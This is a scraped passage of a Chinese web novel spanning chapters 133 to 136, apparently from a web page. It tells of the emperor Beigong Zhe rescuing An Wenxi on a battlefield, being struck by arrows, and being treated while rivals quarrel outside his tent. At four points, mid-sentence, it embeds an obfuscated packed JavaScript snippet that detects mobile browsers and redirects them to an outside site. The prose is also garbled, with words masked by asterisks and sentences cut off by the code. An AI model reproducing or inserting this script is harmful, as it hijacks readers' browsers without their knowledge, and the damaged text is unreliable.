秋月从他身后走来,对他小声道:“皇上,得手了,为了防止她不听话,属下暂时封了她的内力。” 慕容清黑瞳蓦地骤缩,冰冷嘴角勾起了一抹笑来,“秋月,你做的很好!” 他昨晚偷袭夏营不成,反被北宫喆将了一军,如今前有夏军,后有风家军,北宫喆又切断了他所有的粮草路线,逼得他如今被活活堵死在这里,眼看存粮不过三日,慕容清急得火烧眉毛。 与其在这里等死,不如拼死争一下,也许还会有些胜算,毕竟北宫喆在济州只有五万大军,而风明的风家军也只是五万人马罢了,更何况他现在手中还有安文夕不是么,想到这里,慕容清眸光渐深。 慕容清嘴角的笑意越加扩大,看向对面冷颜绝绝,面带桀骜,宛如神祗一般的男人,眼底慢慢划过一抹讥意,他倒要看看他还能狂到几时。 北宫喆身着银白盔甲,双眸微眯,睥睨着对方,周身散发出冷煞之气,天生就有一种令人臣服的君临天下的气势。 战鼓响起,声声催人紧,这时,后方传来阵阵急迫的马蹄声,欢凉利索的翻身下马,径直掠至北宫喆身侧,脸色凝重道:“皇上,公主被慕容清带走了!” 北宫喆闻言心中一沉,凌厉的黑瞳骤缩,抬眸看向对面脸上挂着得意笑容的慕容清,双拳收紧。 慕容清看着北宫喆微变的脸色就知道他这次赌对了,对着身后道:“将她给朕带上来!”今天他就让北宫喆不战而败,他要毫发无伤的回到沐阳! 想起前几日北宫喆和安文夕给予他的侮辱,他觉得此刻呼吸格外畅快。 秋月将安文夕提了上来,此时安文夕双目紧闭,脸色略微有些苍白,薄唇在阳光下有些白的透明,北宫喆看着那道娇小的身影,眸光微沉。 欢凉看着被慕容清提上马的安文夕,心中一紧,右手下意识的握紧了手中的长剑。 北宫喆身后的众位将士也不由得倒吸了一口凉气,那位被缚住双手的女子不正是夜夜宿在主营帐的娘娘么,她得了瘟疫,皇上竟然在她身边守了一天一夜,如今敌方抓住了她,分明就是用她来威胁皇上的。这一仗,皇上又怎么打?众人不自觉地齐齐看向前方那道高大峻拔的身影。 北宫喆右手一扬,薄唇轻启:“息鼓!”这二字透着万钧之势。 身后五万将士的心顿时一沉,皇上竟然真的打算为了那个女子不战而输么,当即,众人不由得骂起安文夕红颜祸水来。以前在清河战场上,皇上就为了那瑾淑妃而损失了五千人马,好在那瑾淑妃被赐**,如今这又冒出来了第二个瑾淑妃么? 知道安文夕就是那宠冠六宫的瑾淑妃的人也仅仅只有青玄、惊魂等羽卫罢了,其他的将士并不知道。 鼓声一止,慕容清脸上的笑意又深了几分,对着北宫喆道:“北宫喆,不知江山和美人你到底会如何选呢?” 看着北宫喆紧抿的嘴角,他又沉声道:“朕劝你考虑清楚了,不要寒了你身后众人的心呐!” “皇上,您不要上了他的当了。”青玄忍不住出声道,临阵息鼓,是兵家大忌! 慕容清勾唇一笑,挑起安文夕的下巴道:“正好,朕身边还不曾有女人,看着这嫩白的小脸,给本王暖床还不错。” 北宫喆眸光骤缩,冷声道:“慕容清,放了她。” “这么说你想要放弃你的江山了?” 秋月将她带来时给她点了睡穴,此时穴道早就开了,安文夕发觉自己被挟持且内力被封,为了减小存在感,一直都在装睡。听到北宫喆那句隐忍着怒气的“放了她。”她的睫毛轻颤,掩在袖中的动作一顿,片刻,手中那片薄如蝉翼的刀片一闪,安文夕被捆着的双手蓦地一松,缚着她的最后一丝麻绳被她割断。 “朕何时说过要放弃江山了!江山和美人都是朕的,你算个什么东西!”这一句狂妄之极。 慕容清脸色丨微变,眸光涌起浓浓的讥讽,他扫了眼北宫喆脸上的不屑,他的眼底沁出一抹杀意,今天就要让北宫喆知道什么叫做怕! 北宫喆话音刚落,撑马而起,一道银白身影如一道闪电一般掠至慕容清面前,抓住了安文夕的一只胳膊。 两军之间隔着五百米的距离,而北宫喆却只用了一瞬! 下一刻,慕容清猛然反应过来,飞快的抓住安文夕的另一只胳膊,三人蓦地僵了一瞬。 就这这时,安文夕原本紧闭的双眼倏地睁开,右手扯过抓着她胳膊的手,将他一把掀开。 慕容清不敢置信的看着这一幕,她何时醒过来的? 秋月眸中更是布满了震惊,她明明封了她的内力,她此时不应该和平常柔弱的女子一样么,哪来的那么大的力气? 安文夕双眸扫过慕容清和秋月震惊的脸色,嘴角微勾,她向来擅长的就不是内功,而是近身擒拿格斗。 “抱紧我!”北宫喆不由分说揽住了她的柳腰。 安文夕一滞,随即双臂搂紧了北宫喆的脖子。 “想走,可没那么容易!”慕容清双眸沁着阴狠,对身后吩咐道,“拿下!” 随着他一声令下,令旗挥舞猎猎作响,号角声拔地而起,骑兵倾巢而动,齐齐堵住了北宫喆的去路,后面的弓箭手也已经拉了满弓。 “杀!”见北宫喆和安文夕一起陷入困境,青玄挥动了战旗。 场面一时变得有些混乱,双方将士厮杀在一起。 慕容清看着被八百骑兵包围起来的北宫喆和安文夕,眼底划过一抹阴狠,厉声道:“给朕活捉他们!” 安文夕眸光一凛,看着不断逼近的骑兵,咬了咬唇,和骑兵相比,北宫喆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有你就不怕。”原本到嘴边的话令安文夕一惊,她何时竟然这么依赖北宫喆了? 她抿了抿唇道:“不怕。” 就这这时,周围不断有长矛朝他们刺来,速度太快,以至于根本分不清是真是假,只觉眼前泛着寒光的银色长矛直探面门而来。 北宫喆将她紧紧护在怀中,姿态从容,场中的长剑如行云流水一般将周围的长矛一一打退。 安文夕微微蹙了眉,这样一直防卫下去也不是办法,若是破不了这个阵法,那他们就会一直被困在里面,活活累死! 阵法随着阵外那一声声砸在人心上的低沉的号角而越来越快,就在这时,一支银光闪闪的头直冲安文夕的面门而来,而一旁的北宫喆专心应对着眼前,仿佛没有看见一般。安文夕下意识地将北宫喆推开,避过寒锋。 谁知她刚推开北宫喆,眼前画面一转,那支长戈顿时消失不见,取而代之的是擦着她的背脊而来的一只羽箭。 安文夕背脊一寒,暗呼不好——中计了! 第133章 换她真心 第一百三十三章换她真心 “夕儿……”北宫喆飞快的去抓安文夕,却只擦过了她的衣角,挥剑斩断羽箭,而他身前的长矛毫不犹豫的刺进了他的小腹。 “不——”安文夕蓦然回头,眼睁睁看着那尖锐的矛头刺入他的血肉之中。 北宫喆脸色丨微变,眼睛也未眨一下,左手一把抽出长矛,反手扔了出去。 “噗——”被矛头刺到的那人落下马来,阵法顿时打开了一个缺口,可惜好景不长,只一瞬的时间那打开的缺口就再次闭合。 外面的几百骑兵将此处围得水泄不通,青玄等人根本就冲不进来,亦看不到里面的情况,他们的心始终悬了起来。 而阵法内的攻击似乎比刚才更猛烈了,他们有意将北宫喆和安文夕分开,将他们之间的距离约拉越大。 不计其数的长矛,招招攻向她的软肋,安文夕黛眉轻挽,抽出腰间的七节鞭将近身的长矛横扫了出去,凌冽的鞭尾带着强劲的力道袭向马上的骑兵。 她根本看不到人影,只能凭着感觉砸向那人,而相反,布阵的骑兵却可以清楚的看着她的一举一动。由于骑兵手中拿着盾牌,安文夕手里的长鞭刚刚甩了出去,就立即被弹回,根本就近不了人身。 每次在她攻击之时,凌厉的长矛擦着她的面门而过,幸得她身手敏捷,堪堪躲过。 几次反复之后,安文夕额头上沁出了一抹细汗,她扫了眼脚边,眸光一敛,握着七节鞭的右手突然收紧。 “啪——”一道带着凛冽之势的鞭风重重砸在了马腹上,鞭声一落,紧接着是一声长长的嘶鸣,那马吃痛的扬起前蹄,安文夕手里的鞭子顺势缠住马蹄,用力一拉,直接将马掀翻,这一下力敌千钧,马背上的人狠狠的被甩了下去。 而北宫喆用凛冽的剑气将身前的骑兵震出几丈之远,这坚如铜墙铁壁的骑兵阵被二人打开了巨大的缺口,整个骑兵溃不成军,就连身下那健壮的马匹也都软了蹄子。 骑兵未歇,身后的兵将提着长矛蜂拥而上,试图将他们二人逼死。 北宫喆迅速掠至安文夕身侧,欲将她护在怀中,安文夕却勾唇道:“相信我,我可以。”她的眸光带着坚定与自信。 北宫喆双眸一凝,眼前的女子神色丨微扬,在他的心中漾开了涟漪。 这就是与他共看天下的女子,她不需要躲在他的怀中靠他去保护,她有能力陪在他的左右。 “好,但不许逞强!” 北宫喆和安文夕二人背靠着背,警惕的打量着不断靠近的人。 慕容清看着被困在一起的二人,嘴角噙着丝玩味的笑。 北宫喆,你也有今天! 冲在前方的士兵举着长矛狠狠的刺来,安文夕侧身躲过,手里的鞭子越发的凶狠起来。 一波未退,一波又起,这慕容清这是打算用车轮战拖死他们么? 安文夕甚至来不及扬鞭,对面的人就已经扑了上来,她眸光一凛,迅速的折断那人的脖子,一手一个,干净利落。 北宫喆看着她眼底的凶狠心中一滞,她何时**这么熟稔了?待看到她双手成勾,直接在那人脖子上掏出一个血窟窿之时,眸光一黯,这么残忍血淋淋的将人置之于死地,她竟然眼睛都不眨一下,这还是她么? “来我这里。”北宫喆眸光一敛,他不愿看着她变成一个**不眨眼的魔鬼! 安文夕顺着他的视线看了眼她染满鲜血的双手,微愣了一下,顿时明白了他的意思。 她抿了抿唇,扯过手帕将手上的血渍擦干净。而她眼中却是一片清明。 你不残忍,别人就对你残忍!这是前世头儿天天挂在嘴边的话,直至如今她才彻底明白。 慕容清看着浮尸遍地的前方,双瞳骤缩,右手一摆,“放箭!” 安文夕蓦然回头,身后的羽箭密密麻麻直朝二人射来,一时间,多如牛毛般的箭头泛着寒光直袭而来。 “将弓给我!” 慕容清接过秋月递来的**,将尖锐的箭头对准北宫喆拉了满弓,待要放箭之时,箭头倏地一转,蓦地对准了他身后的安文夕。 “嗖——” 慕容清飞快的从箭囊中抽出三支箭搭在弓弦上,将**弓拉到极致,然后迅速放手,三箭齐发,皆对准了安文夕,他就不信他们这次还能逃得出去? 四支羽箭一前一后,从不同的方向一起涌向安文夕命脉,速度如光影一般,让人避无可避。 安文夕刚刚击落了身前的几支羽箭,一抬眸一支带有凌冽之势的便已经逼近了她的心口。她蓦地一退,重重的贴在了北宫喆的后背。 就在这时,背后的男人突然转身,将她护在胸前,他的双手同时抓住另外两个方向的羽箭。 “噗呲——”安文夕紧贴在北宫喆的前胸,甚至可以清晰的听到箭头入体的声音。 “九哥哥,你怎么样?”一句不经思考的担忧逸出唇畔。 她眼底的惊慌与关切已经出卖了她的心,她竟然如此的在意着他! 北宫喆嘴角勾起一丝笑意,能换她一句真心,这伤也值了! 他扔下手中的羽箭,抬手再次将长剑握在手中,一把搂住她的腰,将她带至半空,剑气如虹,凌厉的气浪将四周震翻一片,北宫喆足尖踩着下面将士的头顶,翩然而过,直直掠至慕容清面前。 长剑挥出,直接挑翻慕容清坐下的骏马,将他逼下马来。 “你就这么喜欢做缩头乌龟?”北宫喆目光轻蔑。 慕容清淡淡扫了眼北宫喆一路蜿蜒的血迹,双眸一凛,冷嗤一声,握起长戟,刺向北宫喆。 他后背受了箭伤,怀中还抱着安文夕,怎么会是他的对手?现在,他就要将他的骄傲一点点踩在脚下! “北宫喆,你放我下来。” “你就对我这么没信心,嗯?”这一声恍如情人间的浅浅低呢。 慕容清知道北宫喆在意安文夕,招招势势皆针对着安文夕,逼的北宫喆不得不去拦截他的招式,将他的软肋暴露在他的长戟之下。 妈.的,就没见过这么卑鄙的人,安文夕右手一翻,将三枚银针齐齐埋入慕容清握戟的右手。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441017|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一阵刺痛令慕容清的动作微微一滞,只这一瞬的功夫,便给了北宫喆出手的机会。 剑锋一闪,寒光一现,一股强大的气流顺着北宫喆的指尖泻出,夹带着凌冽的剑气朝慕容清汹涌而去,直接将他手中的长戟震碎,饶是慕容清内力深厚,也被抛出百米开外。在下方,但凡被波及到的将士,皆被震得七孔流血。一瞬的功夫,慕容清素以凶猛著称的骑兵以及众多士兵皆倒下一片,伤残无数。 “皇上——”秋月立即奔了过去,扶起捂着胸口吐血不止的慕容清。 他射出的剑用了他全部力道,背后那一箭足够穿到心肺,北宫喆他受了如此严重的伤,竟然还可以伤他,他的内功竟然达到了如此彪悍的地步了么?慕容清压下眼底的震惊,泛出不甘心来,为什么这样他都赢不了他? 慕容清提了一口气,一把夺过秋月手中的长剑。 “啪——”慕容清不可置信的看着从他手中径直掉下去的长剑,他的手竟然被北宫喆发出的气流震断了筋脉,此时,就连一把普通的剑也拿不起来了! 北宫喆刚才那一击用尽了所有力气,此时脸色苍白,额头上沁出了一层细汗,搂着安文夕的手也不自觉松了几分。 安文夕立即察觉了他的变化,将他的胳膊搭在她的肩膀上,有些不敢去看他背上的伤。 长长的羽箭几乎全根没入,殷红的鲜血将他的盔甲染的血红一片,安文夕心中蓦地一抽,睫毛轻颤。 “夕儿,别看。”北宫喆轻唤。 安文夕握紧了北宫喆的手,双眸满是担心,“我不会让你有事的,你抓紧我,下面我来护你。”她的声音微颤,她握着她的手也颤的厉害。 慕容清咬牙切齿的看着北宫喆和安文夕四目深情相对,心中涌起强烈的恨意,几乎吞噬了他的整个神经。 “给朕杀了他们!”慕容清此时双眸血红一片。 “抓紧我!”安文夕将北宫喆背到后背,指尖卷起凌冽的鞭风扫向来人,苍劲的鞭尾直接将他的脑袋击穿,脑浆横飞,安文夕劈手夺过他手中的长矛,一手使鞭,一手用矛,一刚一柔,在她手中被演绎的完美。北宫喆提着剑扫清身后的危险,两人生生的杀出了一条血路。 北宫喆看着她轻挽的黛眉,心中一涩,她眼底坚韧一片,她的倔强令人心疼。 即将冲出士兵包围之时,身后又起了箭雨,此时青玄、惊魂等人已经趁着刚才北宫喆的涌出的气流靠近了北军。 “皇上——”青玄立即护在了北宫喆和安文夕身前,拦下了身后的一片箭雨。 “嘘——”随着北宫喆的一声口哨声,不多一会,远处哒哒的跑来一匹骏马,这是他的蹄血玉狮子! “上马!”北宫喆放在安文夕腰间的手突然收紧,将她带上马背。 安文夕握着缰绳疾驰片刻,发觉身后的人几乎将全部的力量全部挂在了她的肩头,安文夕心中一紧,蓦然回头,北宫喆差点从马背上跌下去。 “吁——”安文夕勒住缰绳,转身抱住身后的人,看着他紧闭的双眼,一颗心顿时沉到了谷底。 第134章 想他活着 第一百三十四章想他活着 “欢凉,帮我一下。”安文夕翻身下马,然后和欢凉一起将北宫喆接了下来。 她的手触到一片湿滑,拿出来一看血红一片,安文夕的心蓦地一颤,小心的挪了下北宫喆的身子,避开了他身后的羽箭。 欢凉扫了眼北宫喆背后的箭,凝眉道:“这一箭几乎将他的身体刺穿,只怕……”只怕情况不容乐观。就是没有伤到心脏,流了这么多的血,再加上拔箭,不知道他能不能挺得过来。 “他不会有事的。”安文夕抿唇,飞快的封住了北宫喆周身大丨穴,尽量减少流血。 欢凉扫了眼地上的北宫喆咬了咬牙,现在的确是一个除去他的好机会,而且能神不知鬼不觉。可是他毕竟是为了公主受伤,恩将仇报,她做不来也下不去手。 更何况,看着公主眼底的担心和害怕,她知道公主已经完全沉沦在北宫喆的怀中,不记得报仇了。现在看来,公主一定会想办法救活北宫喆的。 不管公主怎样选择,她都支持公主。报仇也好,放弃也罢,只要公主喜欢就好。 “公主,我们赶紧去找月公子吧。” “小师妹,赶紧将他扶到马车上来!”袭匀不知道从哪个方向赶着一辆马车冒了出来。 袭匀走到跟前,飞快的下马,然后搀起地上的北宫喆。 他才不在乎什么国恨家仇,他只希望他的小师妹可以快快乐乐的,没准她一高兴,就把欢凉许给他了。 “驾——”哒哒的马蹄扬起一阵尘土,模糊了身后的视线。 “袭匀,你慢一点,太颠簸了。”安文夕抱着北宫喆,让他趴在她的腿上,紧紧握住他的手。 “你起开,我来。”欢凉一把从袭匀手中抢过来缰绳,将他往旁边一赶。 “我这不是想着赶紧回到军营么。”袭匀努努嘴。 安文夕指尖轻颤着拂过北宫喆苍白的脸,毫无血色的唇。有多久,她没有这样触碰过他的脸庞了? 这一刻,她无比的清楚她的内心,她想他活着! 刚来到夏营,欢凉立即去叫月清绝,安文夕急忙将北宫喆搀到了主营帐内。 月清绝听闻北宫喆受了箭伤,当即愣了一瞬,然后抓起药箱就奔向了主营。 看着那几乎全部没入血肉的羽箭,月清绝双眸一黯,飞快的从药箱里取出一枚药丸喂入北宫喆嘴中,然后将他身上的盔甲一一脱掉,拿出剪刀将贴身衣物剪开。 安文夕拧了巾帕,小心翼翼的将伤口周围的血渍擦掉。 月清绝抿了抿唇道:“这一箭极深,虽然没有伤到心脏,却压迫着大动脉,万一拔箭过程中,触动了大动脉,引起大出血的话……” “月公子,你尽管拔就是,我相信你。” 月清绝一阵冷汗直流,他还是头一次遇到这个棘手的情况,偏偏对象还是北宫喆,他自己都没有把握,她拿什么相信他? “拿我的血救他!我的血中融了千年龙魄,当时他就想用我的血救江向晚……只要他还有一口气,我都要试一试。” 月清绝落到安文夕脸上的眸光幽深,半晌垂眸道:“好!我定会还你一个活蹦乱跳的北宫喆!” 安文夕在北宫喆嘴里塞入巾帕,防止他忍受疼痛时咬破嘴角。 月清绝取出手术刀,蘸了酒,不断地在火上来回烘烤,然后立在北宫喆身侧,在箭头入体的地方割开了垂至割开了两道,一点点的深入皮肉。 安文夕感觉她握着的双手蓦地一颤,北宫喆微不可见的皱了皱眉。 “月公子,轻一点。”安文夕说着拿着巾帕给北宫喆擦着额头上的细汗。 月清绝手中的动作一顿,刚想说他没这么柔弱,对上安文夕那双澄澈的双眸,月清绝心中一滞,点点头道:“好。” 袭匀和欢凉对视了一眼,盘腿而坐,将内力输入北宫喆体内,护住他的心脉。 月清绝将箭头周围的血肉一点点割开,那箭头离心脏不过是半指的距离,若是再偏一点,就要击穿那条大动脉了。 箭头上面有倒钩,拔箭的时候稍不注意就会划破大动脉,引起大出血。 月清绝的指尖有些发颤,他的手中掌握着北宫喆的性命,亦决定着大夏的生死存亡。 “拔吧。”安文夕看着他有些紧张的神情轻声道。 “哥,别犹豫,喆哥哥一定会没事的。” 月清绝深吸了一口气,咬了咬牙,握紧了箭身,飞快的将箭头拔了出来。一道浓稠的鲜血瞬间喷射到月清绝脸上,箭头的倒钩勾生生扯下来一块皮肉。 北宫喆紧锁着眉头,额头上滚下豆大的汗珠来,像是在忍受着巨大的痛苦一般,握着安文夕的手都不自觉的加大了力道,勒得安文夕一阵生疼,然后北宫喆整个人瘫软了下去。 月清绝顾不得擦去脸上的鲜血,立即捂住了北宫喆的伤口,幸好没有碰触到大动脉。 “怎么了?”安文夕急切道。 “有惊无险。”月清绝一边说着一边接过来月无双递来的伤药敷到伤口上,用纱布包扎起来。 安文夕松了口气,只听得月清绝又道:“他到底是失血过多,至于她能不能醒来,就看他能否熬过今晚了。” 月清绝扫了眼北宫喆苍白的脸色叹了口气,这虽然是不幸中的万幸了,但是这件事还得靠他自己。 他又清理了一下北宫喆小腹上的刺伤,上了药缠上纱布。 安文夕抿了抿唇,拿过月清绝的手术刀飞快的在手腕上划了一道,鲜红的鲜血顿时汩汩而流。 欢凉看到这一幕,立即收了掌,惊呼道:“公主,你这是干什么,你的身子这么弱,怎么可以……” 她不反对公主救他,也不反对公主爱他,可是她不允许公主伤害自己啊! 更何况,为了他,为了那个曾经肆意伤害折磨她的男人,这么做值得么? “快,拿碗来!”安文夕厉声道。 月无双立即冲到外间拿来了一只瓷碗,递给了安文夕。 安文夕接了满满一碗才放下了碗,扯过纱布将手腕缠了一圈。 看着这满满一碗的鲜血,安文夕嘴角勾起了一抹淡笑,他是她千方百计想要杀的人,没想到有一天她竟然会亲自取血救他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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突然她的手蓦地一顿,他的小腹上方有一道清晰的伤口,像一条蜈蚣一般分外丑陋,视线往上看去,目光停留在他的胸口处,那两道触目惊心的伤痕令她的睫毛轻颤。 一道是她在清河受傀儡术操控的时候,一剑穿胸。 另一道是那次在万寿节九华殿上,用玄冰**所刺。 还有他的脖子上的牙齿印是她在青末山庄上咬上去的。 她曾被他上的伤痕累累,他又何曾不是被她伤得体无完肤? 他伤她的,她伤他的,早就分不清了,这辈子注定要死死纠缠! “喆……”江向晚顾不得身体不适,急急忙忙赶到了主营帐前,刚欲掀开帐帘,一截手臂蓦地拦住了她的去路。 “江小姐,皇上和娘娘正在休息,你进去不合适。” “放肆,我们小姐即将成为大夏的皇后,何惧一个小小的瑾淑妃,还不赶紧让开!”雪嫣立在江向晚身后狐假虎威道。 第135章 竟然拦她 第一百三十五章竟然拦她 “那也得等她成了皇后再说吧。”欢凉冷嗤一声,毫不客气的挡在江向晚身前。 欢凉心想公主肯定不乐意看到江向晚,尤其是现在!她必须拦住她! 江向晚盯着欢凉,压下心底的担忧,急声道:“你有什么资格拦我?就是她安文夕也不能不让我进去!” “我们小姐和皇上十几年的情分不是瑾淑妃能比的!”雪嫣脸上浮现一抹嘲弄。 江向晚唇畔蓦地绽开讥笑,轻蔑的扫了眼欢凉横在她面前的手臂,伸手去掀帐帘,喆现在受了重伤,她一刻也等不了了。 “江小姐。”帐帘内传来一声清澈的声音。 紧接着一只葱白玉手从帐帘内伸出来掀开了帘子。 安文夕刚给北宫喆擦干净身体就听到一阵嘈杂,她知道欢凉根本拦不住江向晚。 “安文夕,喆怎么样了?我要进去!” 安文夕瞥了眼一脸担心的江向晚道:“皇上现在需要休息,江小姐晚些再来吧。” 她这是嫌她吵么? “安文夕,若是喆有个三张两短我绝不会放过你!”江向晚眸中闪现一抹阴狠。 在路上的时候,雪嫣已经将她打听到的全都告诉她了,喆是为了救安文夕才受的伤!她恨恨的握了握拳,他为了这个女人命都不要了么,那这大夏的江山又该怎么办? “他会没事的,江小姐回去吧。”安文夕黛眉轻挽,欲转身回营帐。 不料却**向晚一把抓住她的手臂。 “安文夕,以后喆就由我来照顾,我绝不会让一个天天处心积虑想要他的命的女人在他身边!” 安文夕眸光淡扫了一瞬江向晚放在她手臂上的手道:“江小姐还是先将自个儿的身体养好再说吧。” 这一声语气渐冷。 “袭匀、欢凉,送江小姐回去。” “安文夕,你……”江向晚有些不可置信的盯着安文夕,她竟然真的不让她去见喆! 她算个什么东西,竟然拦她? “安文夕,喆都是被你害成这样的,你没资格拦我,更没资格陪在他身边!”江向晚手下的力道不自觉加大。 安文夕顺着她的力道将她的手甩开道:“就凭他这伤是为我受的,我比谁都有资格!”然后撩开帐帘,直接将江向晚晾在了帐外。 安文夕觉得对于一个数次要置她于死地的女人根本没有顾及她脸面一说,若是你不够狠,别人只会当你是软弱好欺! “安文夕,你好大的胆!”江向晚厉声道,双拳紧握,十指狠狠的掐进肉里。 “小姐……”雪嫣气愤的看着帐帘,拉了拉江向晚的衣角,瑾淑妃实在是欺人太甚,她竟敢直接将小姐甩在外面。 不待江向晚发作,欢凉劝道:“江小姐晚些再来吧。” 月清绝刚刚配了药往这边走来,看着江向晚和欢凉剑拔**张的样子,忙道:“江小姐来了?” 江向晚闻言回过头来,看着月清绝手中的药,眉眼间的怒气渐消,紧张道:“喆的情况到底怎么样?安文夕她竟然不让我进去!” “江小姐息怒息怒,皇上中的箭已经拔过了,现在正在昏迷,若是能顺利熬过这一夜就没有大碍了。” “什么?”江向晚双眸骤缩,若是熬不过这一夜,岂不是要…… 她抿了抿唇道:“月公子,我要陪到喆身边,陪他度过这一夜。” “江小姐的心情本公子能理解,可是你自己的身体本就不好,只怕皇上还没有醒来,你就先倒下了。” “可是……”万一喆有个三长两短这该怎么办? “别可是了,江小姐明日一早再来看皇上,我瞧着江小姐今日的脸色不太好,是不是没有吃药啊?” “月公子,小姐正打算吃药,就听闻皇上**的消息了。” “这怎么行呢,你的身子越来越衰弱,这药是一次也不能落下的,不然的话,就是大罗神仙也救不了你。” 月清绝将手中的药递给欢凉,然后对江向晚道:“我还是为江小姐把把脉吧,万一你有个差池,北宫喆那小子醒了还不得要我的命?” “小姐,您就听月公子的吧。”雪嫣扶着江向晚道,月公子说的有道理,小姐身子这么差,怎么有精力去照顾皇上呢。 江向晚刚才被安文夕气的脑袋发晕,此时脚步都有些虚浮了,可是她连看都没有看一眼喆,更何况她还被安文夕甩了脸子,她怎么甘心。 月清绝扫了眼江向晚心里暗道,人家夫妻俩眼瞅着就要和好,你跟着瞎去凑什么热闹,北宫喆这小子好不容易要赢得人家姑娘的心,你就别跟着捣乱成么? “月公子,我答应今天晚上不来打扰喆,可是现在我必须要看上一眼,不然我不会安心。”这已经是她能做的最大的让步了。 月清绝看了眼欢凉,欢凉抿了抿唇道:“江小姐进去吧。”然后她看了眼手中的药去找袭匀。 撩开帐帘,一步步走向里间,江向晚觉得这每一步都仿佛走在了心尖上一般煎熬,纵然她的左胸处根本就没有心。 绕过屏风,不远处的雕花大床上的男子脸色苍白如纸,眉头微微拧着,空气中弥漫着挥之不去的血腥味。 安文夕紧握着北宫喆的双手,看着江向晚进来,丝毫没有放开的意思。 江向晚注意到那十指紧扣的双手,眼睛一阵刺痛,她走近床榻,看着北宫喆惨白的唇色,咬了咬嘴角。 “喆……”她跪坐在床侧,右手紧紧攥着手下的被褥。 她想摸一摸他的脸,握一握他的手,给他些温暖,可惜,安文夕硬生生的挡在了她的身前。 “看也看了,咱们走吧,江小姐。”月清绝提醒道。 江向晚目光不舍得流连在北宫喆脸上,雪嫣上前扶住了她有些颤抖的身子。 “小姐……” “月公子,喆一定会没事的对不对?他十岁的时候和猛虎关在一起,被咬的浑身是伤,所有人都都说必死无疑,可是他却活下来了,十三岁,被扔到战场上,亦是一箭穿心,他也奇迹般的活了下来,今天这一箭,他一定会熬过来的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441019|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“会的,一定会的。”月清绝点点头,和江向晚一起步出了营帐。 安文夕睫毛轻颤,她一直都知道他以前在北襄不受宠,被众位兄弟肆意**,不料他竟过的如此凄惨。 这些他从未跟她提过,她为了他的自尊心亦从未问过。 也许,在他心中她并没有这么重要,不然他不会向她保留这些。亦或者,每个人心里都有些永远无法言说的东西,就像她穿越重生到这九州大陆一般,她也从未向人说过。 而北宫喆这些经历,江向晚却是一一目睹的,江向晚陪着他整整十五年,他们之间有过太多的故事,那是她怎么也插不进去的。 在他小时候,一定是孤独的,江向晚无疑是他从童年到少年感情的唯一寄托,故而江向晚在他心中的重要性不言而喻。 所以,那次在百水崖,他明明知道那一切都是江向晚故意而为,他不仅对她百般维护,还执意要取她的血去救她。 握着北宫喆的手不自觉地紧了几分,他的手掌略有些干燥,暖暖的让人舍不得放开,此时她却觉得烫的厉害。 帐外,袭匀端着熬好的药送了回来,不悦的瞥了眼欢凉道:“我说,你能不能不要一到脏活累活就直接扔给我,你不觉得让你师兄这样俊美无斯的翩翩公子去熬药很跌身份么?” “不觉得。”欢凉凉凉的瞥了他一眼,“赶紧送进去,公主还等着呢。” “小师妹,药来了。” 安文夕放下了北宫喆的手,接过来袭匀手中的药碗,试了试温度,然后放在了一旁。 袭匀帮着安文夕小心翼翼的将北宫喆扶起道:“小师妹,北宫喆一定会没事的,你别想太多,不管你做什么,师兄永远支持你。” 安文夕贴着北宫喆的后背,对袭匀攒出了一抹笑意,“谢谢你,袭匀。” “你叫我一声师兄能死啊?” “谢谢师兄。” 袭匀满意的勾了勾唇,“行了,小师妹,一会我来给你送午膳。” 袭匀走后,安文夕拿过药碗一勺一勺的喂给北宫喆,想必他每次也是这样给她喂药的吧。 午时过后,前方传来大捷,慕容清带领的北军几乎全军覆没,就连他本人也被北宫喆剑气所伤。北军被夏军杀的丢盔弃甲,半路之上又被风明的风家军所劫,若不是沐阳的援军及时赶来,只怕慕容清就要葬身济州。 慕容清带来的二十万大军最终只剩下了八万人马,沐阳再也保不住了,慕容清带着剩余的人马狼狈逃回了原北襄都城洛城。 一阵凉风袭来,令人禁不住浑身发抖,四周气氛阴森可怖,又如坠入云端一般,烟雾缭绕,视线模糊不清。 安文夕冻得浑身发抖,紧张的盯着四周,半晌,在她的身后刮起了一阵阴风,她蓦地回头,却看到一位披头散发的中年男子浑身是血,可是他身上的明黄却深深的刺痛了她的眼睛。 “父皇?”安文夕颤着声音道。 那人缓缓抬起头来,嘴角挂着血迹,双目微撑,眼底泛着愤怒,整张脸也因为他的愤怒而更显狰狞。 第136章 死不瞑目 第一百三十六章死不瞑目 “夕儿……” 这一声熟悉的声音令安文夕急急后退了两步,这是父皇的声音! 